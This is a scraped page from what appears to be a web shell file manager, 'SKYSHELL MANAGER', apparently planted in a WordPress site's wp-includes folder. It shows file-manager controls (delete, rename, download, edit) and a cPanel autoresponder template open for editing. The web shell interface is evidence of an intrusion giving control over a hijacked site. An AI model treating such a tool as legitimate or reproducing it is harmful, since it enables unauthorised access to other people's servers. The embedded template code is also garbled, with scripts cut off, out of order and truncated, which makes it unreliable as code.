ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.31

Path:root/home/thevaxnx/nativize.com/staging/wp-includes/js/tinymce/themes/

Name	Size	Perm	Actions
📁 inlite	-	0755	🗑️ 🏷️
📁 modern	-	0755	🗑️ 🏷️
📄 wp-links-opml.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: addars.html.tt

[% SET CPANEL.CPVAR.dprefix = "../" %]

[% auto_responders = execute('Email', 'list_auto_responders') %]
[% action = FORM.action %]

[% js_code = PROCESS js_block %]
[% css_code = PROCESS css_block %]
[% WRAPPER '_assets/master.html.tt'
    app_key = 'autoresponders'
    page_js = js_code
    page_scripts = ['/yui/calendar/calendar.js', '/cjt/calendar.js']
    page_stylesheets = ['/yui/assets/skins/sam/calendar.css', 'css/calendar.css']
    page_styles = css_code
 -%]

<div class="body-content">
    [% INCLUDE mail/auto_responder.html.tt %]

[% INCLUDE _assets/_calendar.html.tt %]

[% INCLUDE _assets/return_link.html.tt return_location='autores.html' return_link_text=locale.maketext('Go Back') %]

</div>

[% END %]

[% BLOCK js_block %]

var waitpanel;

function stop_is_after_start() {
        var stop_text = DOM.get("stop_ts").value;
        if ( !stop_text ) return true;

var start_text = DOM.get("start_ts").value;
        if ( !start_text ) {
            return ( (new Date()).getTime() < (parseInt(stop_text) * 1000) );
        }
        return parseInt(start_text) < parseInt(stop_text);
    }

function interval_over_min() {                                      //Validator - is the interval a number and at least zero?
        var interval_text = DOM.get("interval").value;
        if ( !interval_text ) return true;                              //To us a blank is as good as a zero.
        return ( parseInt(interval_text) >= 0 );                        //Is the result over or equal to zero?
    }

function interval_under_max() {                                     //Validator - is the inteval at or below the maximum?
        var interval_text = DOM.get("interval").value;
        if ( !interval_text ) return true;                              //If it's blank that's the other validator's problem.
        if ( isNaN(parseInt(interval_text)) ) {return true;}            //This validator only cares about overage, not invalids.
        return parseInt(interval_text) <= 720;                          //720 hour (30 day) maximum.
    }

var action = '[% action %]';
    var ars = [[% FOREACH ar IN auto_responders.data %]'[% ar.email.html %]',[% END %]];

var VALIDATORS = [];
    var init = function() {

var validator,
            VALIDATION = CPANEL.validate;

validator = new CPANEL.validate.validator("Stop Time");
        validator.add("stop_ts", stop_is_after_start, "[% locale.maketext("The stop time must be later than the start time.")  %]");
        VALIDATORS.push(validator);

validator = new VALIDATION.validator(LOCALE.maketext("Interval"));
        validator.add("interval", interval_over_min, "[% locale.maketext("The Interval field must be a positive integer or zero (or blank).")  %]");
        validator.add("interval", interval_under_max, "[% locale.maketext("The Interval field may not exceed 720 hours.")  %]");
        VALIDATORS.push(validator);

if (YAHOO.util.Dom.inDocument("email") == true) {
            // Setup the local part validation
            validator = new VALIDATION.validator(LOCALE.maketext("Email"));
            validator.add("email", "min_length(%input%, 1)", "[% locale.maketext("The Email field cannot be empty.")  %]", null, { unique_id: "username_min_length" });
            validator.add("email", "max_length(%input%, 64)", "[% locale.maketext("The Email field cannot exceed [numf,_1] characters.", 64)%]", null, { unique_id: "username_max_length" });
            var domain_el = YAHOO.util.Dom.get("ddlDomain");
            validator.add("email", function(local_el) {
                    var username = local_el.value + "@" + domain_el.value;
                    return CPANEL.validate.max_length(username, 254);
                },
                LOCALE.maketext("The email address cannot exceed [numf,_1] characters.", 254),
                null,
                { unique_id: "username_full_length" }
            );
            validator.add("email", "local_part_email(%input%,'cpanel', true)", "[% locale.maketext("You can only use letters, numbers, periods, hyphens, and underscores.")  %]", null, { unique_id: "username_valid" });
            validator.add("email", "no_unsafe_periods", LOCALE.maketext("The Email field cannot start with a period, end with a period, or include two consecutive periods."), null, { unique_id: "username_safe_periods" });
            validator.add("email", function(local_el) {
                if( action.toLowerCase() !== 'create' ) {
                    return true;
                }
                var full_email = local_el.value + "@" + domain_el.value;
                for (var i = 0; i < ars.length; i++) {
                    if (ars[i].toLowerCase() === full_email.toLowerCase()) {
                        return false;
                    }
                }
                return true;
            },
            LOCALE.maketext("This email address already has an autoresponder."),
            null,
            { unique_id: "existing_responder" }
            );
            VALIDATORS.push(validator);

// Setup the domain part validation
            var email_validator = validator;
            if (YAHOO.util.Dom.inDocument("ddlDomain") == true) {
                validator = new VALIDATION.validator(LOCALE.maketext("Domain"));
                validator.add("ddlDomain", function() {
                        email_validator.clear_messages();
                        email_validator.verify(); // Will show up in the local parts validator
                        return true;              // So this always passes
                    }, ""
                );
                VALIDATORS.push(validator);
            }
        }

validator = new VALIDATION.validator(LOCALE.maketext("From"));
        validator.add("from", "min_length(%input%, 1)", "[% locale.maketext("The From field cannot be empty.")  %]");
        VALIDATORS.push(validator);

validator = new VALIDATION.validator(LOCALE.maketext("Subject"));
        validator.add("subject", "min_length(%input%, 1)", "[% locale.maketext("The Subject field cannot be empty.")  %]");
        VALIDATORS.push(validator);

validator = new VALIDATION.validator(LOCALE.maketext("Body"));
        validator.add("arbody", "min_length(%input%, 1)", "[% locale.maketext("The Body field cannot be empty.")  %]");
        VALIDATORS.push(validator);

// Attach the validators.
        for (i = 0, l = VALIDATORS.length; i < l; i++) {
            VALIDATORS[i].attach();
        }

CPANEL.validate.attach_to_form("submit-button", VALIDATORS);

// TODO: add a description for interval
        //CPANEL.panels.create_help("interval_help_toggle", "interval_help_description");

YAHOO.util.Dom.get("charset").focus();
    };

YAHOO.util.Event.onDOMReady(init);

waitpanel.render(document.body);
        waitpanel.show();
    };

</script>

var start = DOM.get("mainform").start.value.trim();
        var stop = DOM.get("mainform").stop.value.trim();

var customized_dates = { start:start, stop:stop };

DOM.get("start_link").style.visibility = "";
        DOM.get("stop_link").style.visibility = "";

var start_cal = new CPANEL.widgets.Calendar_With_Time( "start_calendar", start_options );
        var stop_cal  = new CPANEL.widgets.Calendar_With_Time( "stop_calendar", stop_options );

var cals = { start:start_cal, stop:stop_cal };

//YUI Calendar's custom events don't set context to the Calendar object (grr..)
        var update_form = function(type, selected, cal) {
            var the_date = cals[cal].getSelectedDates()[0];
            if ( the_date ) {
                DOM.get("mainform")[cal].value = Math.floor(the_date.getTime() / 1000);
                CPANEL.util.set_text_content( cal+"_link", the_date.toCpLocaleString() );
            }
            customized_dates[cal] = true;

for (var i = 0, l = VALIDATORS.length; i < l; i++) {
                VALIDATORS[i].verify();
            }
        };

start_cal.selectEvent.subscribe(update_form, "start");
        start_cal.hours_change_event.subscribe(update_form, "start");
        start_cal.minutes_change_event.subscribe(update_form, "start");
        start_cal.ampm_change_event.subscribe(update_form, "start");

stop_cal.selectEvent.subscribe(update_form, "stop");
        stop_cal.hours_change_event.subscribe(update_form, "stop");
        stop_cal.minutes_change_event.subscribe(update_form, "stop");
        stop_cal.ampm_change_event.subscribe(update_form, "stop");

start_cal.render();
        stop_cal.render();

EVENT.throwErrors = true;
        CPANEL.util.catch_enter( [start_cal.hours_input,start_cal.minutes_input], function(e) {
            EVENT.stopPropagation(e);
            start_cal.hide();
        } );
        CPANEL.util.catch_enter( [stop_cal.hours_input,stop_cal.minutes_input], function(e) {
            EVENT.stopPropagation(e);
            stop_cal.hide();
        } );

//YUI accommodates a bug in old Mac Gecko versions that no longer
        //appears to be a problem, but it does make the tab loop focus the
        //overlay's container pointlessly. So, we prevent this here.
        YAHOO.widget.Overlay.prototype.showMacGeckoScrollbars
            = YAHOO.widget.Overlay.prototype.hideMacGeckoScrollbars
            = function() {}
        ;

function custom_start(link_el, stop_instead) {
            var the_cal = stop_instead ? stop_cal : start_cal;

var the_radio = DOM.get("mainform")[stop_instead ? "stop_control" : "start_control"][1];
            the_radio.checked = true;

if (!the_cal._overlay) {
                var the_div = the_cal.oDomContainer;

var insertion_point = link_el;
                if (link_el.parentNode.tagName.toLowerCase() === "label") {
                    insertion_point = link_el.parentNode;
                }

var overlay = the_cal._overlay = new YAHOO.widget.Overlay( DOM.generateId(), {
                    visible : false,
                    zIndex  : 1005,  //so the overlay will sit above validation errors
                    context : [ link_el, "bl", "tl" ]
                } );
                overlay.setBody(the_div);
                overlay.render(document.body);
                insertion_point.parentNode.insertBefore( overlay.element, insertion_point.nextSibling );

//The callback has to be defined as a local variable or else
                //IE will not recognize "clicker" as a reference within removeListener.
                var clicker = function (e) {
                    var target = YAHOO.util.Event.getTarget(e) || this;

if (target === the_div) return;
                    if (target === link_el) return;
                    if (target === the_radio) return;
                    if (DOM.isAncestor(the_div,target)) return;

//in case we drag
                    var xy = YAHOO.util.Event.getXY(e);
                    if ( !DOM.getRegion(the_div).contains(xy) ) {
                        the_cal.hide();
                    }
                };

overlay.beforeShowEvent.subscribe( function() {
                    update_form(null, null, stop_instead ? "stop" : "start");
                    this.align();
                    EVENT.on( document.body, "click", clicker );
                } );
                overlay.hideEvent.subscribe( function() {
                    update_form(null, null, stop_instead ? "stop" : "start");
                    EVENT.removeListener( document.body, "click", clicker );
                } );

//Calendar rewrites all of its HTML when you change the month,
                //so we need to refresh the drag/drop listeners whenever that happens.
                var attach_drag_drop = function() {
                    if ( the_cal._dd ) {
                        the_cal._dd.unreg();
                    }

attach_drag_drop();
                the_cal.renderEvent.subscribe( attach_drag_drop );
                the_cal.hideEvent.subscribe( overlay.hide, overlay, true );
                the_cal.showEvent.subscribe( overlay.show, overlay, true );
            }

the_cal.show();
        }

function custom_stop(link_el) {
            return custom_start(link_el, true);
        }
    </script>
[% END %]

[% BLOCK css_block %]

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.31

Edit: addars.html.tt

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.31